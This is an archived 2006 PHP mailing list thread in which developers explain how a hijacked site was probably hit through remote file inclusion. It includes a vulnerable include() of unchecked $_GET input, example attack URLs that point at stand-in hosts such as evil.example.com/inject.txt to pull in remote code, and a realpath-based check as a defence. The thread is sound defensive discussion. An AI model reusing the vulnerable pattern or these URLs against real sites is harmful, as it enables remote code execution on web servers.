RE: [PHP] Highjack?
hi chris...
for the initial post, it does/did matter for register_globals to be on/off.
in your reply, you use a $_GET[..] for the $path var. in the initial post
that i saw, (which i replied to), the $path var was simply used, without the
$_GET[..]. it's my understanding (recollection) that if the register_globals
is on, then php will automatically generate and fill vars based on the query
var. whereas, if the register_globals is off, the app has to specifically
'assign' the var via the $GET/$POST...
feel free to correct if something was/is missed. other than that, what you
have stated is completely correct as i understand php to work.
-Original Message-
From: Chris [mailto:[EMAIL PROTECTED]
Sent: Monday, November 13, 2006 6:28 PM
To: [EMAIL PROTECTED]
Cc: 'PHP'
Subject: Re: [PHP] Highjack?
bruce wrote:
rory..
thanks.. i had meant to say assuming globals is off...
Doesn't matter about register globals, it depends on you sanitizing
content as it comes in.
If you have:
http://www.foo...?path=/scripts
and that's plainly visible, then if I do:
http://www.foo?path=http://www.foo1../evil.txt
and you don't check the $path variable:
?php
$path = $_GET['path'];
include($path.'script.php');
?
then bad things happen.
This method relies on allow_url_fopen being on (and in php5.2.0+
allow_url_include I think it's called being on).
On the other hand if you did:
?php
$mydir = dirname(__FILE__);
$path = $_GET['path'];
$fullpath = $mydir . '/' . $path;
if ($fullpath != realpath($fullpath)) {
echo Hack attempt;
exit;
}
...
then that's a check to make sure that the path is on the server and that
it doesn't contain '.././' type elements - because then $fullpath will
not be the same as the realpath.
--
Postgresql php tutorials
http://www.designmagick.com/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Highjack?
bruce wrote: hi chris... for the initial post, it does/did matter for register_globals to be on/off. in your reply, you use a $_GET[..] for the $path var. in the initial post that i saw, (which i replied to), the $path var was simply used, without the $_GET[..]. it's my understanding (recollection) that if the register_globals is on, then php will automatically generate and fill vars based on the query var. whereas, if the register_globals is off, the app has to specifically 'assign' the var via the $GET/$POST... feel free to correct if something was/is missed. other than that, what you have stated is completely correct as i understand php to work. Fair enough. My point was it's not *just* a register-globals problem, rather it can also be a simple trusting issue (ie you're trusting the user data rather than checking it). -- Postgresql php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Highjack?
At 12:38 PM -0500 11/13/06, Eric Butera wrote: Tedd, I've seen this happen before when someone was able to do a remote code execution exploit on an old version of a very popular open source shopping cart project. I'd say the first thing would be to try and find any include/require statements that are exploitable. In the case I was dealing with, it was a problem with register_globals on and an include that looked a bit like this include($path .'script.php');. How embarrassing. I don't have a shopping cart script on the site. However, register_globals are ON, but I turn them off in my scripts. If you have access to your server logs look for urls such as http://example.com/exploited.php?action=http://evil.example.com/inject.txt. I just looked at my logs and they only go back one day -- interesting. tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Highjack?
I usualy use an array with site configuration which I define at top included file so you cannot overwrite the configuration paths from outside the scripts. ? $APP_CFG = array(); $APP_CFG[my_path] = /somewhere/on/server/; ? From TFM: If URL fopen wrappers are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Appendix M, List of Supported Protocols/Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script. Warning: Windows versions of PHP prior to PHP 4.3.0 do not support accessing remote files via this function, even if allow_url_fopen is enabled. Andy tedd wrote: At 11:57 AM -0800 11/14/06, bruce wrote: hi tedd... for the following url, http://www.example.com/test.php?path=abc?dummy=123 if the register_globals is on, a malicious user could potentially invoke, http://www.example.com/badscript.php?path=http://www.badserver.com/badscript .txt?dummy=123, which would cause the 'badscript.txt' to be used in the original script. now, this in and of itself wouldn't cause a file on the http server to be changed. however, if the webapp somehow caused the $path var to be invoked or to be used in an exec() function, then whatever is in the 'badscript.txt' file will be run as if the file is on the local system. at this point, you're pretty much at whim of the malicious user. now, the chance of this happening is pretty slim, unless you're using some open source app that's unsecure, and that a user can reasonably easy find. which is what has happened to some apps in the past. a more potential reason for the index.php files to be changed, is that there was some security hole, either via apache, and/or the OS for the server. hope this helps a little bit more... Ohhh, so badscript.php doesn't have to exist and the badscript.txt is imported via the url, the script is built using only the badscript.txt, and then executed as-is -- clever. Off to try that... :-) ... Nope, that didn't work -- I still don't get it. I realize that one can grab stuff from another server, but I still don't see how one can do this. Sorry, for being so dense. tedd -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Highjack?
On 11/13/06, tedd [EMAIL PROTECTED] wrote: Hi gang: While this is not an obvious php question, it does deal with security which is a concern. Just this morning had a couple of my sites highjacked. What I found was someone had replaced my root level index.php with their own index.php. You can see the result at: http://xn--u2g.com/index1.php It was not a terrible loss nor inconvenience, but I wonder how they did it. Any ideas how this was done and suggestions as to how to prevent this from happening again? Thanks, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Tedd, I've seen this happen before when someone was able to do a remote code execution exploit on an old version of a very popular open source shopping cart project. I'd say the first thing would be to try and find any include/require statements that are exploitable. In the case I was dealing with, it was a problem with register_globals on and an include that looked a bit like this include($path .'script.php');. How embarrassing. If you have access to your server logs look for urls such as http://example.com/exploited.php?action=http://evil.example.com/inject.txt. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Highjack?
eric... you say how embarrasing regaring the $path.'foo' i'm curious, why/how is this simple piece of code exploitable. assuming $path is not something that comes via the url vars (GET/POST/REQUEST) it shouldn't be able to be touched by external/client processes... similarly, the 'foo' would be static, and couldn't be munged... thoughts/explanations... thanks -Original Message- From: Eric Butera [mailto:[EMAIL PROTECTED] Sent: Monday, November 13, 2006 9:39 AM To: tedd Cc: PHP General List Subject: Re: [PHP] Highjack? On 11/13/06, tedd [EMAIL PROTECTED] wrote: Hi gang: While this is not an obvious php question, it does deal with security which is a concern. Just this morning had a couple of my sites highjacked. What I found was someone had replaced my root level index.php with their own index.php. You can see the result at: http://xn--u2g.com/index1.php It was not a terrible loss nor inconvenience, but I wonder how they did it. Any ideas how this was done and suggestions as to how to prevent this from happening again? Thanks, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Tedd, I've seen this happen before when someone was able to do a remote code execution exploit on an old version of a very popular open source shopping cart project. I'd say the first thing would be to try and find any include/require statements that are exploitable. In the case I was dealing with, it was a problem with register_globals on and an include that looked a bit like this include($path .'script.php');. How embarrassing. If you have access to your server logs look for urls such as http://example.com/exploited.php?action=http://evil.example.com/inject.txt. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Highjack?
With register_globals on, the globals super array ($_POST, $_GET, $_REQUEST)
are automatically populated into variables. With that in mind
www.example.com/index.php?path=remoteexplot.com/ would then yield
include('remoteexplit.com/foo'); thus including ANY code they wish.
- Original Message
From: bruce [EMAIL PROTECTED]
To: Eric Butera [EMAIL PROTECTED]; tedd [EMAIL PROTECTED]
Cc: PHP General List php-general@lists.php.net
Sent: Monday, November 13, 2006 11:55:13 AM
Subject: RE: [PHP] Highjack?
eric...
you say how embarrasing regaring the $path.'foo' i'm curious, why/how is
this simple piece of code exploitable. assuming $path is not something that
comes via the url vars (GET/POST/REQUEST) it shouldn't be able to be touched
by external/client processes... similarly, the 'foo' would be static, and
couldn't be munged...
thoughts/explanations...
thanks
-Original Message-
From: Eric Butera [mailto:[EMAIL PROTECTED]
Sent: Monday, November 13, 2006 9:39 AM
To: tedd
Cc: PHP General List
Subject: Re: [PHP] Highjack?
On 11/13/06, tedd [EMAIL PROTECTED] wrote:
Hi gang:
While this is not an obvious php question, it does deal with security
which is a concern.
Just this morning had a couple of my sites highjacked. What I found
was someone had replaced my root level index.php with their own
index.php. You can see the result at:
http://xn--u2g.com/index1.php
It was not a terrible loss nor inconvenience, but I wonder how they
did it. Any ideas how this was done and suggestions as to how to
prevent this from happening again?
Thanks,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Tedd,
I've seen this happen before when someone was able to do a remote code
execution exploit on an old version of a very popular open source
shopping cart project. I'd say the first thing would be to try and
find any include/require statements that are exploitable. In the case
I was dealing with, it was a problem with register_globals on and an
include that looked a bit like this include($path .'script.php');.
How embarrassing.
If you have access to your server logs look for urls such as
http://example.com/exploited.php?action=http://evil.example.com/inject.txt.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Highjack?
rory.. thanks.. i had meant to say assuming globals is off... -Original Message- From: Rory Browne [mailto:[EMAIL PROTECTED] Sent: Monday, November 13, 2006 10:12 AM To: PHP Subject: Fwd: [PHP] Highjack? -- Forwarded message -- From: Rory Browne [EMAIL PROTECTED] Date: Nov 13, 2006 7:12 PM Subject: Re: [PHP] Highjack? To: [EMAIL PROTECTED] On 11/13/06, bruce [EMAIL PROTECTED] wrote: eric... you say how embarrasing regaring the $path.'foo' i'm curious, why/how is this simple piece of code exploitable. assuming $path is not something that comes via the url vars (GET/POST/REQUEST) If register_globals is enabled, someone could http://www.example.com/badscript.php?path=http://www.badserver.com/badscript .txt?dummy= The script will then include http://www.badserver.com/badscript.txt?dummy=script.php it shouldn't be able to be touched by external/client processes... similarly, the 'foo' would be static, and couldn't be munged... thoughts/explanations... thanks -Original Message- From: Eric Butera [mailto:[EMAIL PROTECTED] Sent: Monday, November 13, 2006 9:39 AM To: tedd Cc: PHP General List Subject: Re: [PHP] Highjack? On 11/13/06, tedd [EMAIL PROTECTED] wrote: Hi gang: While this is not an obvious php question, it does deal with security which is a concern. Just this morning had a couple of my sites highjacked. What I found was someone had replaced my root level index.php with their own index.php. You can see the result at: http://xn--u2g.com/index1.php It was not a terrible loss nor inconvenience, but I wonder how they did it. Any ideas how this was done and suggestions as to how to prevent this from happening again? Thanks, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Tedd, I've seen this happen before when someone was able to do a remote code execution exploit on an old version of a very popular open source shopping cart project. I'd say the first thing would be to try and find any include/require statements that are exploitable. In the case I was dealing with, it was a problem with register_globals on and an include that looked a bit like this include($path .'script.php');. How embarrassing. If you have access to your server logs look for urls such as http://example.com/exploited.php?action=http://evil.example.com/inject.txt . -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
